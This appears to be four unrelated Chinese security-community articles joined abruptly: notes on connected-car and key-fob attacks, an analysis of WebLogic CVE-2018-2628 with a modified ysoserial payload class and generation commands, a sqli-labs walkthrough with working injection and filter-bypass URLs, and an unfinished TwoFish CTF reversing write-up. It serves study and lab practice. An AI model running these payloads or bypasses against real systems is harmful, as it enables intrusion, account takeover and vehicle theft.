* DSRC（Dedicated Short-Range Communication 专用短程通信技术）。
* 混合方式，DSRC、Wi-Fi、卫星及其他任何可行通信手段组合。
可以说，车间通信是车联网技术中最具“车联网”感的，它确实也是在和车联网一起发展，意味着不完全成熟。目前很多所谓的5G+汽车概念，就是把5G用于车间通信的实现，和DSRC其实算是竞争者
#### DSRC
使用5.85GHz~5.925GHz的V2V/V2I保留频段。有效通信距离由发射功率决定，路旁设备约1000，车辆较弱为300。
基于802.11p和1609.x无线协议，基于WiFi的称WAVE（Wireless Access for Vehicle
Environments），基于1690.3称WSMP（WAVE Short-Message Protocol，WAVE短消息协议）
#### 基于PKI的安全措施
5G+的车间通信安全性尚未完全可知，但DSRC、蜂窝以及混合通信的安全性均基于类SSL的公钥基础设施（PKI，Public Key
Infrastructure）。
>
> 公开密钥基础建设，又称公开密钥基础架构、公钥基础建设、公钥基础设施、公开密码匙基础建设或公钥基础架构，是一组由硬件、软件、参与者、管理政策与流程组成的基础架构，其目的在于创造、管理、分配、使用、存储以及撤销数字证书。
> 密码学上，公开密钥基础建设借着数字证书认证机构将用户的个人身份跟公开密钥链接在一起。(From 维基百科)
这部分问题基本可以参考认证安全的相关研究，在车联网这边主要的差别在汽车的证书上。
因为车辆存储空间有限，且需避免DSRC拥堵，车辆的PKI系统需要较短密钥，故使用椭圆曲线加密算法（ECDSA-256）密钥，证书大小约Internet证书八分之一。
参与V2V通信车辆使用两种类型证书：
* 长期证书（Long-Term Certificate，LTC），包含车辆的标识符，且可被撤销，用于申请短期证书
* 短期证书（Short-Term/Pseudonym Certificate，PC），有效期短，所以不需要撤销，会直接过期。用于匿名传输，该传输模式用于制动或道路条件等普通消息的传输。
### 0x04.无线电安全
#### 基本环境
SDR（Software Defined Radio，软件无线电）和一个可编程的电台，Hack RF就不错。
SDR可以与GNU Radio配合工作，查看、过滤、解调被编码的信号。
应用正确的解调器，需要具备识别某个信号所用调制方式的能力，首先种类有两种：幅移键控（ASK）、频移键控（FSK）。
ASK数据位由信号的振幅表达，有波动时表达1，静默0。
FSK数据位由信号的载波频率表达，FSK的载波信号始终存在，高频1低频0。
#### TPMS
针对汽车安全，从无线电的视角，可以对TPMS（胎压监测系统）进行攻击。TPMS通过无线方式向轮室中发送信息，让信号在一定程度上得到车体的屏蔽，通常用315或415MHz的UHF频段。
#### 控钥匙和防盗系统
还有更经典更传统的一个攻击视角——遥控钥匙和防盗系统。
这方面的无线信号主要是RFID，即Radio-Frequency IDentification，射频识别，流程大致如是：
遥控钥匙使用一个工作与125KHz的应答器与车上的一个防盗器通信，防盗器除非接收到正确的解锁代码或其他令牌，将阻止车辆发动。使用低频RFID信号是为了保证遥控钥匙电池耗尽是，钥匙系统也正常工作。
可行方式：
1. 干扰遥控钥匙信号。在RFID接收机的通带范围内向接收机发垃圾数据，干扰接收机。通带窗口宽度包括一定的额外空间，可以向该段空间加入噪声，阻止接收机改变rolling code，同时仍允许攻击者查看正确的密钥序列。将有效开锁请求记录在存储器同时，继续等待遥控钥匙发送另一个请求，同样记录之。之后攻击者可以向车回放第一个请求，令其开启或锁闭，具体取决于遥控钥匙发送的信号。
2. 前向预测攻击。观测遥控钥匙向车辆发送信号及车上应答器做出响应的质询-响应交换过程，预测下一个信号。受限于PRNG（伪随机数生成器）的脆弱性。
3. 字典攻击。记录质询-响应的交换，存储至字典。遇到匹配的请求发送即可。受限于是否使用发送方校验确保响应有效。
4. 导出应答器存储内容
5. 逆向CAN总线
6. 钥匙编程器和应答器复制机。替换丢失钥匙机制。偷车主流方式 : )
#### PKES
靠近即开锁的机制。对其攻击与RFID类似。
## 技能树整理
对车联网的攻击面有些认识之后，也大概能理解做相关的研究需要哪些技能了：
1. 逆向（大量，一方面是固件逆向，一方面针对协议也需）
2. 嵌入式知识（主要针对ECU）
3. 车载总线
4. 无线电安全（围绕V2X）
5. 数据安全（最好有所了解，牵扯很多认证相关的问题）
6. 移动安全（毕竟车机≈大手机）
7. 渗透（主要针对云服务）
## 后记
本篇其实更多是对车联网安全学习的笔记，以笔者对车联网粗浅的理解对各部分作安全视角的认识。之所以想了解车联网，想了解这种“大号手机”的安全问题，是觉得未来大型设备的联网是必然，安全问题也必然随之而来，从车开始研究会比较容易扩散。譬如我们研究汽车的CAN总线问题，后期代入小型飞机的CAN总线问题就非常自然，想想如果能拿下能上天的大家伙，如何一种黑客的浪漫。
路漫漫其修远兮，个中谬误和缺失还望读者不吝赐教，多谢。
## 参考
《汽车黑客大曝光》
2020 MOSEC BaijiuCon Sky-team talk
[slipper师傅直播录屏](https://v.douyu.com/show/a2JEMJjjrxYMNxml?ap=1)
[汽车“ECU”安全风险与攻击分析](https://zhuanlan.zhihu.com/p/120311437)
[can总线的特点和优缺点以及和485比较](https://www.huaweicloud.com/articles/05368409ee56a5c5b6d2f610e203effe.html)
[汽车物联网中OBD-II加密狗攻击面的综合漏洞分析](https://www.anquanke.com/post/id/218559) | 社区文章 |
作者：Badcode@知道创宇404实验室
英文版本：<https://paper.seebug.org/985/>
## 漏洞简介
2018年4月18日，Oracle官方发布了4月份的安全补丁更新CPU（Critical Patch Update），更新中修复了一个高危的
WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic
组件进行远程攻击，并可获取目标系统所有权限。
## 漏洞影响
* Weblogic 10.3.6.0
* Weblogic 12.1.3.0
* Weblogic 12.2.1.2
* Weblogic 12.2.1.3
### Weblogic 反序列化漏洞历程
这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。
#### CVE-2015-4852
2015年11月6日，FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和
Apache Commons Collections 这一基础类库来攻击最新版的
WebLogic、WebSphere、JBoss、Jenkins、OpenNMS
这些大名鼎鼎的Java应用，实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections
库来实现远程代码执行。查看了CVE-2015-4852的补丁（p21984589_1036_Generic），发现 Weblogic
采用的黑名单的形式来修复这个漏洞。
但是这种修复方式很被动，存在被绕过的风险，只要发现可用并且未在黑名单之外的反序列化类，那么之前的防护就会被打破，系统遭受攻击。而后的漏洞也证明了这一点。
#### CVE-2016-0638
Weblogic的反序列化的点有着三个,黑名单`ClassFilter.class`也作用于这三个位置。
* `weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream`
* `weblogic.rjvm.MsgAbbrevInputStream.class`
* `weblogic.iiop.Utils.class`
有人发现利用`weblogic.jms.common.StreamMessageImpl`的
`readExternal()`也是可以进行反序列化操作的，而且这个不受黑名单限制，所以可以绕过了之前的补丁。
#### CVE-2016-3510
原理是将反序列化的对象封装进了`weblogic.corba.utils.MarshalledObject`，然后再对
`MarshalledObject`进行序列化，生成 payload 字节码。反序列化时 `MarshalledObject` 不在 WebLogic
黑名单里，可正常反序列化，在反序列化时 `MarshalledObject`对象调用 `readObject` 时对 `MarshalledObject`
封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。
#### CVE-2017-3248
Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java
技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
这个漏洞就是利用 RMI 机制的缺陷，通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的
`JRMPListener`，这将会序列化一个
`RemoteObjectInvocationHandler`，该`RemoteObjectInvocationHandler`使用`UnicastRef`建立到远端的
TCP 连接获取`RMI registry`。 此连接使用 JRMP 协议，因此客户端将反序列化服务器响应的任何内容，从而实现未经身份验证的远程代码执行。
### CVE-2018-2628 漏洞分析
首先我们来看以下 CVE-2017-3248
这个漏洞的补丁（p24667634_1036_Generic），在`weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class`多了一个`resolveProxyClass`，这个`resolveProxyClass`只是对
RMI 接口类型进行了判断，判断 RMI 接口是否为`java.rmi.registry.Registry`，是的话抛出错误。
这里，换个RMI
接口类型即可绕过这个补丁。可以使用`java.rmi.activation.Activator`来替代`java.rmi.registry.Registry`生成payload，即可绕过这个判断限制。
仿照`JRMPClient`写一个`JRMPClient2`，重新编译。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
生成 payload：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2
可以对比以下`JRMPClient` 和`JRMPClient2` 生成的 payload。
除了 RMI 接口不一样，其他都是一样的。
`JRMPListener`开启
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
我测试的 Weblogic
版本是`10.3.6.0.170117`，即已修复了CVE-2017-3248漏洞，在我本地的环境中，`CommonsCollections`这个
payload 已经失效了。Weblogic 的`commons-collections.jar`版本已经升级，所以我这里 payload
用的是`Jdk7u21`（这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用）。在`commons-collections.jar`版本没有升级的 Weblogic 中，使用`CommonsCollections` 这个 payload 是可以的。
使用 t3 协议脚本发送 p_client2，可以看到`JRMPListener`有请求过来了，客户端命令也执行成功了。
作为对比，将`JRMPClient`生成的 p_client 也发送过去，可以看到报错信息`Unauthorized proxy
deserialization`，正是黑名单拦截抛出的错误。
可见`java.rmi.activation.Activator`绕过了CVE-2017-3248的补丁了。
### 另外一种绕过补丁的方式
这种方式是我在复现漏洞时尝试 payload 的时候发现的，绕过的方式和CVE-2016-0638有关。
`StreamMessageImpl`这个点在反序列化的时候没有`resolveProxyClass`检查。所以可以使用`StreamMessageImpl`将`RemoteObjectInvocationHandler`序列化，以此来绕过`resolveProxyClass`函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的
payload 来绕过补丁。
将`JRMPClient`生成的 payloadObject 用`StreamMessageImpl`封装生成新的 payload——p_stream。
public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
使用脚本发送，可以看到，成功执行了命令。
### CVE-2018-2628补丁分析
初步比对补丁(p27395085_1036_Generic)，发现`WeblogicFilterConfig.class`的黑名单多了一个`sun.rmi.server.UnicastRef`。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
但是根据我的实际测试，命令还是可以执行成功，貌似补丁没起作用。
### 总结
总的来说，Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过...... **最精彩的永远是下一个** ！
### 参考链接
* [Ysoserial](https://github.com/frohoff/ysoserial)
* [CVE-2018-2628 简单复现与分析](http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/)
* [WebLogic反序列化漏洞重现江湖，CVE-2017-3248成功绕过之前的官方修复](https://paper.seebug.org/333/)
* [Oracle Critical Patch Update Advisory - April 2018](http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html)
* * * | 社区文章 |
本文为mysql注入天书连载第二篇。
第一篇地址：<https://xianzhi.aliyun.com/forum/read/314.html>
[hr]
第二部分/page-2 Advanced injection
Less-23
Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT
0,1";此处主要是在获取id参数时进行了#，--注释符号的过滤。
Solution：
<http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273>
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,’3’ limit 0,1
Explain：此处讲解几个知识点：
1、id=-1，为什么要用-1，因为sql语句执行了两个select语句，第一个select为id的选择语句，第二个为我们构造的select语句。只有一个数据可以输出，为了让我们自己构造的数据可以正常输出，第一个select要没有结果，所以-1或者超过数据库所有数据都可以。
2、-1' union select
1,@@datadir,’3，第一个’（单引号）闭合-1，第二个’（单引号）闭合后面的。这样将查询内容显示在username处。
3、此处可以报错注入，延时注入，可以利用or
‘1’=’1进行闭合。<http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271>
以上这条语句就是利用extractvalue()进行报错注入。
将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。
• 获取数据库
<http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union> select 1,(select
group_concat(schema_name) from information_schema.schemata),'3
此处获取的数据库为security
• 查看security库数据表
<http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union> select 1,(select
group_concat(table_name) from information_schema.tables where
table_schema='security'),'3
• 查看users表的所有列<http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union> select
1,(select group_concat(column_name) from information_schema.columns where
table_name='users'),'3
• 获取内容
<http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union> select 1,(select
group_concat(username) from security.users limit 0,1),'3
Less-24
Ps:本关可能会有朋友和我遇到一样的问题，登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压，解压过程中要主要要覆盖。
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入，就是将可能导致sql注入的字符先存入到数据库中，当再次调用这个恶意构造的字符时，就可以出发sql注入。二次排序注入思路：
1. 黑客通过构造数据的形式，在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理，提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后，为了处理该请求，服务端会查询数据库中已经存储的数据信息并处理，从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
5. 服务端返回执行的处理结果数据信息，黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
此例子中我们的步骤是注册一个admin’#的账号，接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
Sql语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND
password=' ，也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
步骤演示：
（1）初始数据库为
（2）注册admin’#账号
（3）注意此时的数据库中出现了admin’#的用户，同时admin的密码为111
（4）登录admin’--，并修改密码
（5）可以看到admin的密码已经修改为lcamry
Less-25
本关主要为or and过滤，如何绕过or和and过滤。一般性提供以下几种思路：
（1）大小写变形 Or,OR,oR
（2）编码，hex，urlencode
（3）添加注释/ _or_ /
（4）利用符号 and=&& or=||
暂时只想到这些，还有的话可以补充。
本关利用方法（4）进行。
报错注入 or示例
<http://127.0.0.1/sqllib/Less-25/index.php?id=1'||>
extractvalue(1,concat(0x7e,database()))--+
And 示例
[http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+](http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+)
Less-25a
不同于25关的是sql语句中对于id，没有’’的包含，同时没有输出错误项，报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式：延时注入和联合注入。<http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201,@@basedir,3%23>
此处我们依旧用|| &&来代替and，or。
<http://127.0.0.1/sqllib/Less-25a/?id=20||1=1--+>
Less-26
TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格，此处是因为apache的解析的问题，这里请更换到linux平台下。
本关结合25关，将空格，or，and,/
_,#,--,/等各种符号过滤，此处对于and，or的处理方法不再赘述，参考25.此处我们需要说明两方面：对于注释和结尾字符的我们此处只能利用构造一个 ’
来闭合后面到 ’ ；对于空格，有较多的方法：
%09 TAB键（水平）
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键（垂直）
%a0 空格
26关，sql语句为SELECT _ FROM users WHERE id='$id' LIMIT 0,1
我们首先给出一个最为简单的payload：
<http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1>
Explain:'%a0||'1
同时，我们此处的sql语句为SELECT * FROM users WHERE id='1' || ‘1’ LIMIT 0,1
第一个 ‘ 首先闭合id='$id'
中的’，%a0是空格的意思，（ps：此处我的环境是ubuntu14.04+apache+mysql+php，可以解析%a0，此前在windows+wamp测试，不能解析%a0，有知情的请告知。）同时%0b也是可以通过测试的，其他的经测试是不行的。||是或者的意思，‘1则是为了闭合后面的
’ 。
因此可以构造类似的语句，<http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271>
接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。同时，也可以利用报错注入和延时注入等方式进行注入。这里就不进行一一的演示了。
Less-26a
这关与26的区别在于，sql语句添加了一个括号，同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入，这里依旧是利用union注入。
sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们构造payload：
<http://127.0.0.1/sqllib/Less-26a/?id=100‘)union%a0select%a01,2,3||(’1>
explain：基础与26一致，我们直接用 ‘) 闭合前面的，然后跟上自己构造的注入语句即可。最后利用（'1 进行闭合即可。
<http://127.0.0.1/sqllib/Less-26a/?id=100’)union%a0select%a01,user(),(‘3>
可将user()更换为你想要的sql语句。同时该例可以利用延时注入。前面已经有介绍了，自行构造即可。
Less-27
本关主要考察将union，select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的，只需要将union和select改为大小写混合就可以突破。
示例：127.0.0.1/sqllib/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1
TIPS：uniunionon也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。
Less-27a
本关与27关的区别在于对于id的处理，这里用的是 “ ，同时mysql的错误不会在前端页面显示。
我们根据27关直接给出一个示例payload：
<http://127.0.0.1/sqllib/Less-27a/?id=100“%a0UnIon%a0SElecT%a01,user(),”3>
TIPs:这里说下以上payload我们利用最后的3前面的 “ 将后面的 “ 给闭合掉。或者亦可以利用以前的方法 1,user(),3 ||
“1，同时本关可以用延时注入的方法进行注入。
Less-28
本关考察内容与27关没有太大的差距，我们直接给出一个payload：
<http://127.0.0.1/sqllib/Less-28/?id=100')union%a0select(1),(user()),(3)||('1>
Less-28a
本关与28基本一致，只是过滤条件少了几个。
<http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271> | 社区文章 |
前几天某师傅给我发来一个逆向题，拿来分析发现竟是AES决赛算法之一的TwoFish算法，之前网上对此算法的逆向分析竟然一个都没有，对算法的介绍也只有寥寥数语，于是想准备在这里与大家分享对该算法的逆向分析以及CTF中此算法的变体。
## 算法流程
官方有一个68页的pdf，有兴趣可以看一下
<http://www.schneier.com/twofish-analysis-shiho.pdf>
### 流程图
TwoFish的意思应该就是这样交叉运算的形状吧
### 算法分析
TwoFish加密需要明文(plain)和密钥(key)
总的来说进行一次加解密可分为三个环节
1. Input whitening
2. 16次循环
3. Output whitening
#### Input whitening
> 1. 拓展密钥
>
在Twofish 算法中，规定密钥的长度 N = 128, N = 192, N = 256三种。也就是说密钥的长度可以在128-bit ~
256-bit之间变化。
我们需要产生40个与密钥相关的K(i)，这里的K(i)是根据密钥算出来的32-bit数据
除此以外，我们还需要4个与密钥相关的S-box，也就是s(i)()。
为计算K和S，定义MDS矩阵
且对于MDS 矩阵，有限域GF的定义如下：
`GF(2^8) ≡ GF(2)(x)/v(x)，其中v(x) = x^8 + x^6 + x^5 + x^3 + 1`
此外还需要h函数
y(k,j) = x(j) j = 0, ... ,3
如果：k == 4
y(3,0) = q1[y(4,0)] xor l(3,0)
y(3,1) = q0[y(4,1)] xor l(3,1)
y(3,2) = q0[y(4,2)] xor l(3,2)
y(3,3) = q1[y(4,3)] xor l(3,3)
如果：k >= 3
y(2,0) = q1[y(3,0)] xor l(2,0)
y(2,1) = q1[y(3,1)] xor l(2,1)
y(2,2) = q0[y(3,2)] xor l(2,2)
y(2,3) = q0[y(3,3)] xor l(3,3)
对于所有情况：
y0 = q1[q0[q0[y(2,0)] xor l(1,0)] xor l(0,0)]
y1 = q0[q0[q1[y(2,1)] xor l(1,1)] xor l(0,1)]
y2 = q1[q1[q0[y(2,2)] xor l(1,2)] xor l(0,2)]
y3 = q0[q1[q1[y(2,3)] xor l(1,3)] xor l(0,3)]
实现代码稍后来说
> 1. 输入白化
>
因为加密前的plain text是128 bits，也就是16 bytes。假设这16 bytes分别是p0, ... ,p15。将p0, ...
,p15分为4组：
`P(i) = ∑p(4i+j)2^(8j)，其中i,j = 0, ... ,3`
然后进行运算`R(0,i) = P(i) xor K(i)，其中i = 0, ... ,3`
#### 16次运算
将以下公式循环16次
(F(r,0), F(r,1)) = F(R(r,0), R(r,1), r)
R(r+1,0) = ROR(R(r,2) xor F(r,0), 1)
R(r+1,1) = ROL(R(r,3), 1) xor F(r,1)
R(r+1,2) = R(r,0)
R(r+1,3) = R(r,1)
其中，F函数为以下操作
t0 = g(r0)
t1 = rol(r1, 8)
t1 = g(t1)
o = 2*r
F0 = (T0 + T1 + K(2r+8)) mod 2^32
F1 = (T0 + 2T1 + K(2r+9)) mod 2^32
其中g函数为核心函数
x(i) = [X/2^(8i)] mod 2^8 其中i = 0, ... ,3
y(i) = s(i)(x(i)) 其中i = 0, ... ,3
Z = ∑z(i)2^(8i)，其中i = 0, ... ,3
#### 输出白化
C(i) = R(16,(i+2) mod 4) xor K(i+4)，其中i = 0, ... ,3
最后计算组成密文
c(i) = [C(i/4) / 2^(8(i mod 4))] mod 2^8，其中i = 0, ... ,15
下面来逆向分析看一下实际实现吧
## 逆向分析
拿到题后PEID分析
分析到了TwoFish算法
IDA分析一下，进入主函数看到流程
发现有五个选项，选项名字在sub_402FDA中
int sub_402FDA()
{
puts("welcome to jiami jiemi game go.go.go.");
puts("1._jiemi_(admin only)");
puts("2._jiami_");
puts("3._jiemi__flag(admin only)");
puts("4.exit");
return puts("5._yanzheng__");
}
只有选项2和5可用，即加密和验证flag
进入验证函数sub_40302B查看
这里我已经注释出密文和key，因此我们只需要解密即可，但只用标准解密算法就可以吗？我们来验证一下
很明显加密函数为sub_402E5D(&key, plain, &v3); 参数v3传出密钥
_BYTE *__cdecl sub_402E5D(int a1, int a2, int a3)
{
_DWORD *v3; // ST1C_4
v3 = sub_401570(a1, 128u); // a1 = key 密钥生成k和s
sub_401626(v3, a2, a3); //输入白化，循环，输出白化
return sub_401626(v3, (a2 + 16), a3 + 16);
}
下面来结合标准实现分析
int __cdecl sub_401570(int a1, unsigned int a2)
{
_DWORD *v2; // ST1C_4
_BYTE *v3; // ST18_4
void *v4; // eax
int v5; // eax
int v6; // ST14_4
v2 = sub_402D53(a1, a2 >> 3); // key_t* tf_key = expand_key(s, len/8); 拓展密钥
v3 = sub_4025C6(v2); // subkey_t *tf_subkey = Twofish_generate_subkey(tf_key); 生成密钥
v4 = malloc(4260u);
v5 = sub_401B7A(v4, v3, 0x1010101, *v2 >> 3); // tf_twofish = Twofish_generate_ext_k_keys(tf_twofish,tf_subkey,0x01010101,(tf_key->len/8)); 生成k
v6 = sub_401CF8(v5, v3, *v2 >> 3); // tf_twofish = Twofish_generate_ext_s_keys(tf_twofish,tf_subkey,(tf_key->len/8)); 生成s
free(v2[1]);
free(v2);
free(v3);
return v6;
}
> 拓展密钥
可以看到题中对位数分析的判定进行了修改
> 生成密钥
c实现
rsm函数定义为
#define rsm(i,a,b,c,d,e,f,g,h) \
gf(nxt(tf_key->k,r*8),a,0x14d)^gf(nxt(tf_key->k,r*8+1),b,0x14d)^\
gf(nxt(tf_key->k,r*8+2),c,0x14d)^gf(nxt(tf_key->k,r*8+3),d,0x14d)^\
gf(nxt(tf_key->k,r*8+4),e,0x14d)^gf(nxt(tf_key->k,r*8+5),f,0x14d)^\
gf(nxt(tf_key->k,r*8+6),g,0x14d)^gf(nxt(tf_key->k,r*8+7),h,0x14d)
> k生成
h函数内部，可以看出，IDA将二维数组直接一维化
q0,q1都是256大小的数组
标准
uint8_t q[2][256] =
{
/* q0 */
{ 0xa9,0x67,0xb3,0xe8,0x4,0xfd,0xa3,0x76,0x9a,0x92,0x80,0x78,0xe4,0xdd,0xd1,0x38,
0xd,0xc6,0x35,0x98,0x18,0xf7,0xec,0x6c,0x43,0x75,0x37,0x26,0xfa,0x13,0x94,0x48,
0xf2,0xd0,0x8b,0x30,0x84,0x54,0xdf,0x23,0x19,0x5b,0x3d,0x59,0xf3,0xae,0xa2,0x82,
0x63,0x1,0x83,0x2e,0xd9,0x51,0x9b,0x7c,0xa6,0xeb,0xa5,0xbe,0x16,0xc,0xe3,0x61,
0xc0,0x8c,0x3a,0xf5,0x73,0x2c,0x25,0xb,0xbb,0x4e,0x89,0x6b,0x53,0x6a,0xb4,0xf1,
0xe1,0xe6,0xbd,0x45,0xe2,0xf4,0xb6,0x66,0xcc,0x95,0x3,0x56,0xd4,0x1c,0x1e,0xd7,
0xfb,0xc3,0x8e,0xb5,0xe9,0xcf,0xbf,0xba,0xea,0x77,0x39,0xaf,0x33,0xc9,0x62,0x71,
0x81,0x79,0x9,0xad,0x24,0xcd,0xf9,0xd8,0xe5,0xc5,0xb9,0x4d,0x44,0x8,0x86,0xe7,
0xa1,0x1d,0xaa,0xed,0x6,0x70,0xb2,0xd2,0x41,0x7b,0xa0,0x11,0x31,0xc2,0x27,0x90,
0x20,0xf6,0x60,0xff,0x96,0x5c,0xb1,0xab,0x9e,0x9c,0x52,0x1b,0x5f,0x93,0xa,0xef,
0x91,0x85,0x49,0xee,0x2d,0x4f,0x8f,0x3b,0x47,0x87,0x6d,0x46,0xd6,0x3e,0x69,0x64,
0x2a,0xce,0xcb,0x2f,0xfc,0x97,0x5,0x7a,0xac,0x7f,0xd5,0x1a,0x4b,0xe,0xa7,0x5a,
0x28,0x14,0x3f,0x29,0x88,0x3c,0x4c,0x2,0xb8,0xda,0xb0,0x17,0x55,0x1f,0x8a,0x7d,
0x57,0xc7,0x8d,0x74,0xb7,0xc4,0x9f,0x72,0x7e,0x15,0x22,0x12,0x58,0x7,0x99,0x34,
0x6e,0x50,0xde,0x68,0x65,0xbc,0xdb,0xf8,0xc8,0xa8,0x2b,0x40,0xdc,0xfe,0x32,0xa4,
0xca,0x10,0x21,0xf0,0xd3,0x5d,0xf,0x0,0x6f,0x9d,0x36,0x42,0x4a,0x5e,0xc1,0xe0
},
/* q1 */
{
0x75,0xf3,0xc6,0xf4,0xdb,0x7b,0xfb,0xc8,0x4a,0xd3,0xe6,0x6b,0x45,0x7d,0xe8,0x4b,
0xd6,0x32,0xd8,0xfd,0x37,0x71,0xf1,0xe1,0x30,0xf,0xf8,0x1b,0x87,0xfa,0x6,0x3f,
0x5e,0xba,0xae,0x5b,0x8a,0x0,0xbc,0x9d,0x6d,0xc1,0xb1,0xe,0x80,0x5d,0xd2,0xd5,
0xa0,0x84,0x7,0x14,0xb5,0x90,0x2c,0xa3,0xb2,0x73,0x4c,0x54,0x92,0x74,0x36,0x51,
0x38,0xb0,0xbd,0x5a,0xfc,0x60,0x62,0x96,0x6c,0x42,0xf7,0x10,0x7c,0x28,0x27,0x8c,
0x13,0x95,0x9c,0xc7,0x24,0x46,0x3b,0x70,0xca,0xe3,0x85,0xcb,0x11,0xd0,0x93,0xb8,
0xa6,0x83,0x20,0xff,0x9f,0x77,0xc3,0xcc,0x3,0x6f,0x8,0xbf,0x40,0xe7,0x2b,0xe2,
0x79,0xc,0xaa,0x82,0x41,0x3a,0xea,0xb9,0xe4,0x9a,0xa4,0x97,0x7e,0xda,0x7a,0x17,
0x66,0x94,0xa1,0x1d,0x3d,0xf0,0xde,0xb3,0xb,0x72,0xa7,0x1c,0xef,0xd1,0x53,0x3e,
0x8f,0x33,0x26,0x5f,0xec,0x76,0x2a,0x49,0x81,0x88,0xee,0x21,0xc4,0x1a,0xeb,0xd9,
0xc5,0x39,0x99,0xcd,0xad,0x31,0x8b,0x1,0x18,0x23,0xdd,0x1f,0x4e,0x2d,0xf9,0x48,
0x4f,0xf2,0x65,0x8e,0x78,0x5c,0x58,0x19,0x8d,0xe5,0x98,0x57,0x67,0x7f,0x5,0x64,
0xaf,0x63,0xb6,0xfe,0xf5,0xb7,0x3c,0xa5,0xce,0xe9,0x68,0x44,0xe0,0x4d,0x43,0x69,
0x29,0x2e,0xac,0x15,0x59,0xa8,0xa,0x9e,0x6e,0x47,0xdf,0x34,0x35,0x6a,0xcf,0xdc,
0x22,0xc9,0xc0,0x9b,0x89,0xd4,0xed,0xab,0x12,0xa2,0xd,0x52,0xbb,0x2,0x2f,0xa9,
0xd7,0x61,0x1e,0xb4,0x50,0x4,0xf6,0xc2,0x16,0x25,0x86,0x56,0x55,0x9,0xbe,0x91
}
};
MDS矩阵运算
> S-box生成
> 输入白化，循环，输出白化 sub_401626
c实现
f函数
